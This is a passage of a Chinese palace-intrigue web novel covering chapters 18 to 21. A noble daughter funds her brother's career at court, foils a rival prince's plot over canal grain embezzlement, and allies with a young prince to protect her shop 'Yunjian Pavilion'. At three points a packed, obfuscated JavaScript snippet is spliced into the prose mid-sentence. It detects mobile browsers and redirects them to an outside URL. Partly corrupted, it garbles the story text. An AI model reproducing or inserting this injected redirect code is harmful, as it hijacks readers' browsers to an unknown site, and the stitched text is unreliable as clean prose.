崔元珏的书房名为“问心斋”,一如其主人的品性,陈设简单,古朴雅致,空气中弥漫着一股淡淡的墨香与书卷气。自入东宫为伴读后,他比以往更加勤勉,即便夜深,书案上的烛火也总是亮着。 “四妹妹?这么晚了,怎么过来了?”看到崔云姝的身影,崔元珏有些意外,连忙起身相迎。 “二哥还在用功?”崔云姝将莲花灯放到一旁,脸上挂着温软的笑意,“我让小厨房炖了些燕窝,给你送来润润喉。另外,‘云间阁’这个月的账目出来了,有些地方,我想听听二哥的看法。” 她将一份账册放到书案上,同时,从袖中取出了一个沉甸甸的锦袋,轻轻地推到了崔元珏的面前。 锦袋落在紫檀木的书案上,发出一声清脆而沉闷的金属撞击声。 “这是什么?”崔元珏疑惑地拿起锦袋,打开一看,瞳孔骤然一缩。 袋子里装的不是账册,也不是银票,而是十数枚沉甸甸的金锭,在烛火下闪烁着惑人的光芒。 “妹妹,你这是何意?”崔元珏的眉头瞬间皱起,将锦袋推了回去,声音也严肃了几分。 “这是‘云间阁’这个月盈利的分红。”崔云姝的语气平静得像是在谈论天气,“二哥一份,大姐一份,我与阿娘一份。这是我们自家的生意,自家人分红,天经地义。” “胡闹!”崔元珏的脸色沉了下来,语气中带着一丝薄怒,“我一未出资,二未出力,何来分红之说?再者,君子爱财,取之有道。这不明不白的钱,我不能收。妹妹快快拿回去,莫要污了我的书房。” 他为人耿直,自幼饱读圣贤之书,最是看不起这等铜臭之物,更遑论用它来做什么勾当 。 “二哥,你错了。”崔云姝看着他那副正气凛然的模样,非但没有退缩,反而迎着他的目光,一针见血地指出,“这钱,不是白给你的。我给你,是让你花的。” 她顿了顿,声音压得更低,也更具穿透力:“让你用它去结交人脉,去打点关系,去为你自己在东宫、在朝堂上,铺出一条路来。俗话说得好,钱是英雄胆。二哥空有一身才学,一腔抱负,可若是没有这些‘俗物’开路,你在这吃人的官场里,又能走多远?” “崔云姝!”崔元珏猛地一拍桌子,霍然起身,脸上满是失望与痛心,“我竟不知,你如今变得如此市侩!我辈读书人,当以忠君体国为己任,靠的是胸中丘壑,是治世良策,何时需要靠这些阿堵物去钻营取巧?你这是在羞辱我,也是在羞辱圣贤之道!” “我市侩?”崔云姝闻言,忽然笑了,那笑声清脆,却带着一丝冰冷的嘲讽,“二哥,你当真以为,如今的东宫,还是你想象中那个可以让你安心读书、畅谈理想的清净之地吗?” 她站起身,直视着兄长那双因愤怒而燃烧的眼睛,毫不留情地撕开了那层温情脉脉的面纱。 “你入东宫为伴读,已有两月。你告诉我,这两个月里,二皇子一党的人,给你使了多少绊子?明里暗里,又有多少次构陷与打压?太子殿下虽然信任你,可他势单力薄,自保尚且艰难,又能护你到几时?” “你只知忠君体国,可你那份忠诚,在那些只知党同伐异、不择手段的政敌眼中,一文不值!你以为你是在为太子分忧,可在他们看来,你不过是东宫一枚可以随时被牺牲、被抹黑的棋子!没有根基,没有背景,没有自己的人脉,你凭什么和他们斗?就凭你那一腔热血和几句圣贤曰吗?” 崔云姝的每一句话,都像一把锋利的刀,狠狠地扎在崔元珏的心上,将他那份属于读书人的清高与骄傲,割得鲜血淋漓。 他张了张嘴,想要反驳,却发现自己一个字也说不出来。 因为,妹妹说的,全都是事实。 这两个月来,他在东宫的日子,远非外人想象的那般风光。明枪暗箭,无处不在。二皇子一党的人,视他为眼中钉,肉中刺。今日弹劾他言行不端,明日又参他干预政事。若非太子一力回护,他怕是早已被赶出东宫了。 “二哥,时代变了。”崔云姝看着他脸上变幻的神色,放缓了语气,却依旧字字诛心,“这不是前朝,不是我崔氏出三位皇后,便能保百年富贵的时代了。如今是与虎谋皮,是刀尖上跳舞。你若还抱着你那套‘君子不言利’的腐儒之见,不用等三年,不出一年,你就会被啃得连骨头渣子都不剩!” 崔元珏的身子晃了晃,跌坐回椅子上,脸色苍白。他看着眼前这个仿佛一夜之间变得无比陌生的妹妹,心中充满了震撼与困惑。他不明白,这些阴暗的、残酷的官场生存法则,她一个年仅十三岁的深闺少女,究竟是从何得知的? 看着兄长备受打击的模样,崔云姝知道,火候差不多了。她必须再下一剂猛药,彻底击溃他的理想主义,让他认清现实 。 “二哥,”她重新坐下,声音恢复了平静,却带着一种令人不寒而栗的笃定,“我再问你一件事。你可知,太子殿下为何至今在朝堂上步步维艰?” “……自是因王家势大,二皇子党羽众多。”崔元珏下意识地答道。 “这只是其一。”崔云姝摇了摇头,“更重要的原因是,太子殿下……太‘干净’了。他为人端方,行事磊落,不屑于行阴诡之事,更不愿与朝臣结党。这份品格,若是在盛世,自是万民之福。可是在如今这党争激烈的朝局中,却成了他最致命的弱点。” “他需要一把刀,一把能为他斩断荆棘,能替他去做那些他不愿意、也不屑于去做的‘脏活’的刀。而你,二哥,就是最合适的人选。但一把只有锋利却没有刀鞘的刀,是很容易折断的。而这些钱,这些人脉,就是你的刀鞘。” 为了让自己的话更具说服力,崔云姝决定,抛出那个她准备已久的、足以扭转乾坤的“预测”。 “我知道,你一时难以接受。那我不妨……与你打个赌。”她看着崔元珏,眼中闪烁着深不可测的光,“我断言,不出半月,江南必有水患的消息传来。届时,以户部侍郎周显为首的一批官员,定会以‘漕运受阻,粮草损耗巨大’为由,向朝廷哭穷,请求拨发巨款赈灾。” “而这,正是二皇子一派,为太子殿下设下的一个天大的圈套。” 崔元珏猛地抬起头,眼中满是震惊。户部侍郎周显,正是二皇子最得力的干将之一。 “他们真正的目的,”崔云姝的声音冰冷如铁,“是趁机将国库中早已被他们侵吞的亏空,尽数栽赃到负责监国的太子殿下头上!一旦罪名坐实,太子轻则被废,重则……性命堪忧!” “这……这不可能!此等弥天大罪,他们怎敢……”崔元珏失声惊呼,脸上满是难以置信。 “他们当然敢。”崔云姝冷笑一声,“他们早已买通了江南负责漕运的各级官吏,伪造了账目,做下了一个天衣无缝的局。只待暴雨一至,便是图穷匕见之时。” “二哥若是不信,现在便可派人,去查一查近三年来,江南漕运各处粮仓的实际存粮,再对比一下户部存档的账目。你就会发现,那上面的亏空,早已是一个足以让大秦伤筋动骨的天文数字。” 她不仅给出了“预言”,更给出了可以立刻着手去查证的线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374219|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索 。 崔元珏彻底呆住了。他看着妹妹那张平静无波的脸,只觉得一股寒意从脚底直冲天灵盖。他无法想象,这等足以动摇国本的惊天秘闻,她是如何得知的。这已经不是“聪慧”可以解释的了,这简直……近乎于鬼神之能! “你……你……”他指着崔云姝,嘴唇哆嗦着,却一个字也说不出来。 “二哥,收下这些钱。”崔云姝将那个沉甸甸的锦袋,再次推到他的面前,“用它,去收买你需要的情报,去结交能为你所用的人。然后,拿着我给你的线索,在二皇子的屠刀落下之前,先一步,将这把刀,插进他们的心脏。” 【半月后,东宫,书房】 半个月的时间,对于崔元珏来说,却像是过了半生那般漫长。 他终究还是半信半疑地,按照妹妹的指点,动用了自己全部的力量,暗中展开了调查 。 而调查的结果,让他遍体生寒。 一切,都如崔云姝所言,分毫不差!江南漕运的账目,确实存在着巨大的亏空,其数额之大,足以让他这个见惯了世家豪富的人都感到心惊肉跳。 而就在昨日,江南八百里加急的奏报送抵京城——大雨连绵,江水暴涨,多处河道决堤,水患已成! 今日早朝,户部侍郎周显便立刻跳了出来,声泪俱下地哭诉漕运损失惨重,请求朝廷立刻拨款赈灾,那副痛心疾首的模样,若非崔元珏提前知晓内情,怕是也要被他蒙骗过去。 此刻,东宫的书房内,气氛凝重如铁。 太子唐景承看着手中那份由崔元珏呈上的、记录着江南漕运真实亏空数据的密报,俊朗的面容上一片冰寒。 “好……好一个周显!好一个二皇弟!”他气得将手中的密报重重地拍在桌上,“孤待他不薄,他竟敢如此构陷于我!” “殿下息怒。”崔元珏躬身道,“为今之计,并非动怒之时。周显等人既然敢做下此局,必然已做好了万全准备。我们若无确凿证据,冒然反击,只怕会落入他们构陷太子您‘挟私报复、打击忠良’的圈套。” “那依你之见,该当如何?”太子看向崔元珏,眼中带着前所未有的信任与倚重。 崔元珏抬起头,眼中闪烁着与往日那份耿直截然不同的、冷静而锐利的光芒。他将妹妹早早便为他推演好的应对之策,沉稳地、条理清晰地说了出来。 “臣以为,当将计就计。” “其一,殿下当立刻向圣人请罪,言明自己监国不力,未能及时察觉江南弊病,请圣人降罪。此为以退为进,先立于不败之地。” “其二,殿下当主动请缨,请求亲自前往江南,彻查漕运亏空一案,以证清白。并请圣人恩准,由大理寺与刑部共同协查,以示公正。” “其三,也是最关键的一点。臣已暗中联络了江南几位素来清廉、却因不愿同流合污而备受打压的地方官员。他们手中,掌握着周显一党贪墨分赃的确凿证据。只待殿下抵达江南,振臂一呼,便可人证物证俱在,将之一网打尽!” 听完崔元珏这环环相扣、滴水不漏的应对之策,太子眼中的激赏之色愈发浓厚。他拍了拍崔元珏的肩膀,赞叹道:“元珏,有你为孤之臂助,实乃孤之大幸!” 经此一役,崔元珏在东宫的地位,彻底脱胎换骨。他不再仅仅是一个陪太子读书的伴读,而是真正成为了太子可以倚重、可以信赖的核心谋士 。 当晚,崔元珏再次来到了妹妹的书房。 这一次,他没有再推辞,而是沉默地、郑重地,收下了那个装满了金锭的锦袋。 他对着崔云姝,深深地行了一礼,声音里充满了由衷的敬佩与感激。 “四妹妹,从今往后,但凡你有所命,为兄……万死不辞。” 看着兄长那张终于褪去了青涩与理想主义,开始展露出成熟与锋芒的脸,崔云姝知道,她的“内卷家人”计划,已经成功了一半 。 一个强大的、属于她自己的政治同盟,在这一刻,正式缔结 。 19.第 19 章 自兄长崔元珏领了那份“分红”,成为她在朝堂之上最坚实的同盟后,崔云姝的“富可敌国”计划,便如同插上了双翼,正式进入了高速扩张的快车道 。 “云间阁”的火爆,早已不再是新闻。它已经从一个单纯的甜品店铺,演变成了一种文化符号,一个京城顶级贵女圈中不可或缺的社交场所。每日里限量供应的冰品,依旧引得无数人趋之若鹜;而那张小小的、制作精美的会员卡,更是在私下里被炒到了数百两银子一张的天价,依旧有价无市。 崔云姝并未满足于此。在第一个月的巨额盈利数字呈现在她面前时,她便立刻启动了第二阶段的计划——开设分店,并进行产业扩张 。 第二家“云间阁”的选址,定在了文人墨客云集的西市,目标客群直指那些家境殷实、追求风雅的读书人。而她的商业版图,也开始从餐饮业,向着更广阔、利润也更惊人的领域延伸 。 她注册了新的商号,以“镜花缘”为名,开始筹备自己的高端美妆品牌;同时,她还通过母亲宋氏的关系,与江南最大的几个丝绸庄子搭上了线,意图将全大秦最顶级的丝绸布料,都纳入自己的商业体系之中。 短短数月,以“云间阁”为核心的商业网络,如同一张无形的巨网,迅速地在京城铺开。它不仅为崔云姝带来了源源不断的、足以让户部都为之侧目的庞大现金流,更在无形中,汇聚了巨大的人脉与影响力。 这股新兴的、强大的、且旗帜鲜明地烙印着“崔氏”标签的商业力量,终于,让某些人感到了切实的、如芒在背的威胁 。 东宫。二皇子府。 书房内,二皇子唐景明烦躁地将手中的茶杯重重地摔在地上,温热的茶水混着碎裂的瓷片溅了一地。 “废物!一群废物!”他指着面前噤若寒蝉的幕僚们,怒不可遏,“从漕运亏空案,到北境军需,再到如今,竟让一个黄毛丫头在京城里做得风生水起!你们告诉本王,养着你们这群酒囊饭袋,究竟有何用?!” 幕僚们一个个垂着头,大气都不敢出。 谁能想到,那个在传闻中只知享乐、懒散成性的崔家四姑娘,竟有如此翻云覆雨的商业手腕?“云间阁”如今每日的流水,几乎堪比一个中等世家一年的进项。这些钱,明面上是进了崔家的口袋,可谁都知道,崔家如今是东宫最坚实的拥趸。崔家的钱,与东宫的钱,又有何异? “殿下息怒,”为首的幕僚,正是当初策划了“春日宴民妇案”的张师爷,他眼珠一转,阴恻恻地开口道,“那崔家丫头的生意,看似固若金汤,实则……也并非全无破绽。” “哦?计将安出?”唐景明止住怒火,看向他。 张师爷凑上前,压低了声音:“殿下,她那生意,做得越大,便越是招摇。其铺张奢靡,早已引得不少言官侧目。咱们只需……稍稍推波助澜一番……” 一场针对崔云姝商业帝国的阴谋,就此展开。 【女主视角】 初秋的午后,天气依旧有些燥热。 崔云姝正坐在清姝院的葡萄架下,与母亲宋氏对弈。棋盘之上,黑白二子厮杀正酣。 “西市的分店,今日被京兆府的人给查封了。”宋氏落下一子,语气平淡,仿佛在说一件再寻常不过的小事 。 崔云姝执白子的手微微一顿,抬眸看向母亲:“理由呢?” “‘铺张浪费,败坏民风,诱使学子玩物丧志’。”宋氏的嘴角,勾起一抹冰冷的弧度,“好大的一顶帽子,亏他们想得出来。” 崔云姝闻言,反倒笑了。她将手中的白子轻轻落在棋盘上,瞬间截断了黑子的一条大龙。“看来,我们是踩到某些人的痛脚了。” “何止,”宋氏看着女儿,眼中闪过一丝忧虑,“朱雀大街的总店,这几日也开始不太平。总有那么些个地痞无赖,三三两两地来店里闹事。他们不打不砸,就是要一壶最便宜的茶水,一坐便是一整天。时而高声喧哗,时而对店里的女客出言不逊,赶又赶不走,报官又够不上罪名。已经有好几位夫人小姐,派人来抱怨过了。” 双管齐下,一明一暗。一边用官府的力量,从程序上打压你的扩张;一边用最下三滥的手段,从根基上败坏你的声誉。 这是二皇子一派惯用的伎俩,狠毒,且有效。 “阿娘不必担心,”崔云姝却显得异常冷静,她看着棋盘,仿佛在看一场与自己无关的战局,“他们越是如此,便越是证明我们做对了。这不过是黎明前最后的黑暗罢了。风,很快就会来的。” 她口中的“风”,指的自然是她的盟友,安郡王府的小王爷,唐璞。 【男主视角】 安郡王府,演武场。 唐璞赤着上身,古铜色的肌肤上覆着一层薄薄的汗珠,在阳光下闪烁着健康的光泽。他手中握着一杆沉重的长枪,枪出如龙,虎虎生风,每一次挥动,都带着撕裂空气的厉啸。 自西境述职回京后,他便被皇帝放了长假,每日里除了练武,便是听着手下人从京城各处搜集来的、关于那位“冰雪郡主”的情报。 “云间阁”的账目,崔云姝的商业版图,甚至她每日见了什么人,说了什么话……事无巨细,都会在第一时间汇总到他的案头。 他就像一个最耐心的猎人,静静地观察着自己的猎物,试图从她每一个看似不经意的举动中,找出她那宏大计划的蛛丝马迹。 “小王爷,”亲兵统领铁牛大步走来,神情凝重,“‘云间阁’那边,又出事了。” 唐璞收枪而立,接过铁牛递来的毛巾,擦了擦额上的汗,淡淡道:“说。” “今日午后,一群地痞在‘云间阁’闹得比前几日更凶。他们不仅出言调戏了兵部侍郎家的千金,还……还将一碗滚烫的茶水,‘不小心’泼在了吏部尚书夫人的裙摆上。现在,店里已经乱成了一锅粥。” 唐璞的眉头微微皱起,眼中闪过一丝寒光。 他自然知道,这些上不得台面的手段,背后是谁在搞鬼。二皇子唐景明,心胸狭隘,手段下作,一向如此。 他原本想再观望一阵,看看崔云姝会如何应对。可如今,对方已经开始伤及无辜,甚至将主意打到了朝廷命官的家眷身上。 “京兆府那边呢?西市分店的封条还没撤?”唐璞问道。 “回小王爷,京兆府的尹大人称病,闭门谢客。下面的人都说,此事是上面压下来的,谁也不敢碰。” “哼,称病?”唐璞冷笑一声,“看来,不给他们点颜色看看,他们是真把本王当成只会在家练枪的闲散王爷了。” 他将毛巾扔给铁牛,转身道:“备马,去朱雀大街。” 当唐璞一身玄色劲装,出现在“云间阁”门口时,店内的混乱已经达到了顶点。 几个流里流气的地痞,正叉着腰,与店里的管事和护卫对峙,污言秽语,不绝于耳。几位受了惊吓的贵女正由婢女搀扶着,哭哭啼啼。而那位被泼了茶水的吏部尚书夫人,更是气得脸色发青,指着那几个地痞,说不出话来。 “哟,今儿这儿挺热闹啊。” 一个略带慵懒,却又充满了穿透力的声音,从门口传来。 众人循声望去,只见一位身形挺拔、俊朗不凡的青年,正抱着手臂,斜倚在门框上,饶有兴致地看着眼前的闹剧。 “是……是安郡王府的小王爷!”人群中,不知是谁失声惊呼。 那几个原本还嚣张跋扈的地痞,在看清来人的一瞬间,脸上的横肉瞬间僵住,腿肚子都开始打哆嗦。京城里谁不知道,这位小王爷唐璞,看着闲散,实则是圣上面前的红人,是真正上过战场、杀过人的煞星。得罪他,比得罪京兆府尹的下场还要惨! “小……小王爷……”为首的地痞“噗通”一声就跪下了,磕头如捣蒜,“小的们有眼不识泰山,惊扰了小王爷的雅兴,还望小王爷恕罪!” 唐璞连看都未看他们一眼,只是径直走到那位吏部尚书夫人面前,拱了拱手,笑道:“晚辈唐璞,见过夫人。方才在街上听闻此处喧闹,特来探看。夫人受惊了。” 他这番举动,给足了吏部尚书夫人的面子。尚书夫人受宠若惊,连忙还礼:“不敢当,不敢当。小王爷客气了。” 唐璞这才将目光转向那几个跪地的地痞,嘴角一撇,道:“冲撞了尚书夫人,还敢在这里喧哗?是觉得大理寺的天牢不够住,还是觉得西山的矿山不够你们挖?” 他轻描淡写的一句话,却让那几个地痞吓得魂飞魄散 。他们知道,这位小王爷说得出,就做得到。 “小王爷饶命!饶命啊!”几人哭爹喊娘地求饶。 “滚。”唐璞只说了一个字。 那几个地痞如蒙大赦,连滚带爬地逃离了“云间阁”,瞬间消失得无影无踪。 一场风波,就此被他轻描淡写地化解 [2]。 处理完地痞,唐璞又转头,对着人群中一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而今日,又是在自己最需要的时候,他如神兵天降,用最直接、也最有效的方式,为自己扫平了障碍。 他究竟想做什么? 正当她百思不得其解之时,雅间的门,被轻轻地敲响了。 “谁?”阿桃警惕地问道。 门外,传来一个略带慵懒的、熟悉的男声:“雨夜路过,想来讨一碗热茶,尝尝‘云间阁’传说中的新品,不知……郡主可否行个方便?” 崔云姝的心猛地一跳。 是唐璞! 她与阿桃对视一眼,示意她去开门。 门被打开,只见唐璞一身玄衣,静静地站在廊下,手中撑着一柄古朴的油纸伞。伞檐下的雨丝,如断线的珍珠,纷纷扬扬。廊下的灯笼,将他的身影拉长,映在他那张俊朗不凡的脸上,一半明,一半暗,显得深邃而又神秘 [2]。 “小王爷深夜到访,有失远迎。”崔云姝站起身,平静地行了一礼。 唐璞收起雨伞,走进雅间,目光在宋氏脸上一扫而过,随即落在了崔云姝身上。他笑了笑,开门见山,却又意有所指: “崔四小姐的生意,做得太大,难免招风。” 一句话,便点明了他已知晓一切。 崔云姝看着他那双仿佛能洞悉一切的眼睛,心中一凛。她知道,眼前这个男人,远比她想象的要聪明,也更危险。 她没有回答他的问题,而是提起桌上的茶壶,为他斟了一杯热茶,声音平静无波:“风大,才好扬帆。小王爷今日出手相助,云姝铭感五内。这杯茶,算是我代‘云间阁’,敬小王爷的。” 她将茶杯轻轻推到他面前,动作从容,眼神没有丝毫的闪躲。 一场无声的试探与交锋,就在这静谧的雨夜,在这茶香氤氲的雅间里,悄然展开 。 他想知道,她这艘逆风而起的船,究竟要驶向何方。 而她想知道,他这阵突如其来的“东风”,究竟是想助她一臂之力,还是……想将她这艘船,吹向他想要去的方向。 两人相对而坐,谁也没有再说话,只是静静地喝着茶,听着窗外那淅淅沥沥的雨声。然而,那看似平静的空气中,却充满了无数无声的问句与猜测,一丝若有若无的、危险而又迷人的暧昧氛围,开始在两人之间,悄然滋生 。 20.第 20 章 秋雨缠绵,淅淅沥沥地敲打着琉璃瓦,给整个京城都笼上了一层朦胧的水汽。 自那夜与唐璞在“云间阁”顶楼一番暗藏机锋的“茶话”之后,崔云姝便陷入了长久的思索。她坐在窗前,看着雨丝织成的帘幕,手中无意识地转动着一枚温润的白玉棋子。 唐璞的出现,如同一颗投入她精心布局棋盘的石子,激起的涟漪,远比她预想的要大,也更复杂 。 他是一柄双刃剑。 锋利,强大,足以斩断二皇子伸来的爪牙;但同样,也充满了不可预测的危险。他那双仿佛能洞悉一切的眼睛,让她第一次产生了一种被看透的、细微的危机感。 “在想安郡王府那位小王爷的事?” 母亲宋氏的声音从身后传来,她端着一碗热气腾腾的姜茶,放到了崔云姝手边。“外面湿寒,喝一碗驱驱寒气。” “什么都瞒不过阿娘。”崔云姝回过神,接过姜茶,暖意从指尖一直蔓延到心底。 她没有隐瞒,而是将自己的困惑与考量,向这位她如今最信任的盟友和盘托出 。“阿娘,唐璞这个人,您觉得……我们能用吗?” 宋氏在女儿对面坐下,目光落在窗外的雨幕上,眼神深邃而睿智。“能用,但也要慎用。安郡王府一向中立,不涉党争,这是他们的立身之本。唐璞此番出手,看似帮你,实则……也是在帮他自己。” “帮他自己?”崔云姝有些不解。 “如今朝局,东宫与二皇子一派势同水火。我儿,你以为安郡王府当真能独善其身吗?”宋氏冷笑一声,“覆巢之下,安有完卵?二皇子为人阴狠,手段酷烈,若他日后当真得势,第一个要清算的,便是安郡王府这等手握兵权、却又不肯归附的‘中立’势力。唐璞是个聪明人,他看得比谁都清楚。他帮你,看似是在帮你这个‘冰雪郡主’,实则是在帮你背后的崔家,帮崔家所站队的东宫。他是在为安郡王府的未来,提前下一注。” 宋氏的分析,与崔云姝心中的猜测不谋而合。 “所以,他是一把可以借来的刀。”崔云姝的眸光渐渐亮起,“二皇子党羽众多,行事又无所顾忌。光靠我们自己的商业力量,终究是在以卵击石。唐璞的介入,可以成为我们最坚固的屏障,一把能替我们挡开明枪暗箭的伞。” “是伞,也是眼。”宋氏提醒道,“他帮你,也必然会探究你。姝儿,你身上的秘密太多,行事太过……出人意表。与他合作,无异于与虎谋皮。” “女儿明白。”崔云姝放下茶碗,眼神中再无半分犹豫,取而代之的是一种棋手落子前的决然,“但如今的局势,我们已无安稳可言。与其被动挨打,不如主动出击,引虎为援。纵然有风险,也胜过坐以待毙。” 看着女儿眼中那份远超年龄的沉稳与魄力,宋氏欣慰地点了点头:“好。既然你已决定,那便放手去做。记住,无论何时,阿娘都在你身后。” 得到了母亲的支持,崔云姝心中大定。她知道,是时候去见一见那位主动递来橄榄枝的“盟友”了。 三日后,一封以“冰雪郡主”名义发出的请柬,被悄无声息地送到了安郡王府。 【云间阁,顶楼雅间】 顶楼的雅间,是整个“云间阁”最私密、也最雅致的地方。寻常客人,便是手持最高等级的会员卡,也无缘踏入半步。 崔云姝今日换下了一身繁复的裙衫,只穿着一件便于行动的月白色窄袖长衫,长发用一根碧玉簪高高束起,显得干练而又英气。她没有煮茶,而是在窗边摆了一盘棋局,黑白二子,已在棋盘上厮杀过半。 当唐璞的身影出现在门口时,她正拈着一枚白子,凝神沉思。 “小王爷来得正是时候,”她没有起身,只是抬眸看了他一眼,做了个“请”的手势,“我这盘棋正走到僵局,不知小王爷可否指点一二?” 唐璞的目光在棋盘上一扫而过,随即落在了崔云姝那张平静无波的脸上。他笑了笑,在她对面坐下,毫不客气地从棋盒里拈起一枚黑子,落在了棋盘的天元之位。 “崔四小姐的棋局,杀气太重,只知进攻,却忘了防守。长此以往,纵能攻城略地,也难免后院起火,顾此失彼。”他的话,一语双关。 “多谢小王爷指点。”崔云姝的脸上,终于露出了一丝真正的笑意,“看来,云姝今日请小王爷来,是请对人了。我这盘棋,缺的,正是一位能为我守住后方的‘大将’。” 她不再遮掩,不再试探,而是将手中的白子放回棋盒,身体微微前倾,目光灼灼地直视着他,开门见山地说道:“小王爷,我们合作吧。” 唐璞的眼中闪过一丝意料之中的讶异,他没想到她会如此直接 。“哦?不知郡主想如何合作?” “很简单。”崔云姝伸出两根纤细的手指,“你,我,我们有共同的敌人。” 她将棋盘上的一枚黑子轻轻拨动,继续道:“二皇子党打压我的生意,明面上,是看不得我崔家风光。但其本质,是在削弱我背后的力量,是在削弱东宫潜在的财源。” “我需要一面盾牌,为我的商业帝国保驾护航,挡住那些来自官面上的明枪与市井间的暗箭。而小王爷您,手握安郡王府的权势,又有圣眷在身,是这面盾牌最合适的人选。” “作为回报,”她又将一枚白子放到黑子旁边,与之并立,“‘云间阁’及我名下所有产业未来盈利的两成,将按月送到王府。同时,我这张商业网络,也可以成为小王爷您的眼睛和耳朵,为您提供任何您需要的情报。” 她在明,负责商业运营,攻城略地,赚取真金白银 。 他在暗,负责提供保护,扫清障碍,确保后方无虞 。 分工明确,权责清晰,利益共享,风险共担。 这番话,她说得条理清晰,逻辑缜密,完全不像一个十三岁的少女,倒像一个纵横捭阖的政治家,在与盟友商谈国之大计。 唐璞的心中,再次掀起了惊涛骇浪。 他看着眼前这个少女,她那双清澈的眸子里,闪烁着他从未见过的、名为“野心”与“智慧”的光芒。她对时局的洞察力,对利益的剖析,对人心的把握,都精准得令人心惊 。 他原本以为,自己是那个掌控全局的猎人。可现在,他却发现,自己似乎也被对方当成了可以利用的“猎犬”。 这种感觉,非但不让他反感,反而激起了他更强烈的好奇与征服欲 。 他表面上不动声色,只是端起茶杯,轻轻抿了一口,心中却在飞速盘算。 他答应合作,是必然的。这不仅符合他“保东宫,抗二皇子”的既定策略,更是他深入调查崔云姝,探究她身上所有秘密的唯一机会 。 她口中那句“三年后”,到底意味着什么? 她那一身远超年龄的谋略与见识,究竟从何而来? 还有她那庞大的商业计划,那暗中囤积的、远超商业需求的战略物资……这一切的背后,究竟隐藏着怎样一个惊天的秘密? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386339|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他必须弄清楚。 “郡主的提议,听起来很诱人。”唐璞放下茶杯,脸上露出一贯的、玩世不恭的笑容,“不过,两成利,似乎少了些。本王出手,可不便宜。” “那就三成。”崔云姝毫不犹豫地加码,仿佛那令人咋舌的财富,在她眼中不过是一串数字,“不能再多了。小王爷要知道,我这摊子铺得越大,需要用钱的地方,也就越多。” “成交。”唐璞爽快地答应了。 他知道,钱不是重点。重点是,从这一刻起,他拥有了一个名正言顺的身份,可以随时随地地介入她的所有计划,观察她的一举一动。 一场心照不宣的、各怀鬼胎的口头协议,就此达成 。 为了表示自己的“诚意”,唐璞当即抛出了他的第一个投名状。 “既然是合作,本王便先送郡主一个见面礼。”他身体前倾,声音压得极低,“据我安插在二皇子府的眼线回报,张师爷已经动身南下,准备联络江南一带的官员,尤其是苏州和杭州的织造府。” “他们的计划,是在入冬之前,以‘朝廷采买’的名义,高价买断市面上所有顶级的生丝与绸缎。一方面,是为王贵妃和二皇子一派的女眷囤积冬衣用料;而更重要的目的,便是要垄断货源,让你即将推出的‘镜花缘’美妆和丝绸生意,无米下锅,胎死腹中。” 这是一个极其阴狠的釜底抽薪之计。 若是换了旁人,听到这个消息,怕是早已方寸大乱。 然而,崔云姝听完,脸上却连一丝波澜都未曾泛起。她只是静静地听着,那双清亮的眸子里,甚至还闪过了一丝……不易察觉的笑意。 仿佛,她等的,就是这个。 “多谢小王爷的情报。”她拿起那枚被唐璞落在天元之位的黑子,轻轻摩挲着,声音平静无波,“这个‘见面礼’,我很喜欢。” 唐璞看着她那副胸有成竹的模样,心中愈发好奇。面对如此绝杀之局,她竟没有半分慌乱,难道……她早已有了应对之策? 他不知道的是,崔云姝不仅有了应对之策,更准备借着二皇子送来的这次“东风”,好好地给他们上一课,让他们知道,什么叫做真正的……釜底抽薪。 男女主角的第一次正式联手,就在这充满了试探与算计的氛围中,拉开了序幕。 离开“云间阁”后,唐璞没有直接回府,而是策马登上了京城最高的观星楼。 他站在楼顶,俯瞰着脚下这座灯火辉煌的城池,晚风吹拂着他的衣袍,猎猎作响。 他回想着方才与崔云姝的每一次对话,每一个眼神交锋,心中那份探究欲,变得前所未有的炽热。 “铁牛。”他头也不回地唤道。 亲兵统领铁牛的身影,如鬼魅般出现在他身后:“小王爷有何吩咐?” “从今日起,加派人手,给我二十四时辰,盯紧崔四小姐的一举一动。”唐璞的声音,在夜风中显得格外清晰,“我不仅要知道她见了什么人,说了什么话,我还要知道,她名下所有商铺的每一笔资金流向,每一批货物进出。事无巨细,不得有任何遗漏。” “是!”铁牛领命,随即又有些不解,“小王爷,我们……不是已经和她结盟了吗?” 唐璞转过身,看着远处那片属于崔府的、灯火通明的宅邸,嘴角勾起一抹复杂的弧度。 “是盟友,也是……猎物。”他低声自语道,“我倒要看看,她这只看似温顺的小狐狸,究竟能给我带来多大的惊喜。” 21.第 21 章 秋风渐起,吹散了京城最后的暑热,却吹不散笼罩在各大商行头顶的那片愁云惨雾 。 自安郡王府小王爷唐璞为“云间阁”出头,震慑了京兆府和地痞流氓之后,二皇子一派针对崔云姝商业帝国的正面骚扰,便偃旗息鼓了。然而,所有人都知道,这不过是暴风雨前的宁静。一场更猛烈、更阴险的商业绞杀,已在暗中悄然拉开了序幕。 正如唐璞所带来的情报,二皇子的心腹谋士张师爷南下之后,一场无声的战争便在千里之外的江南打响了 。 “阿娘,这是‘通源钱庄’今日汇总来的消息。” 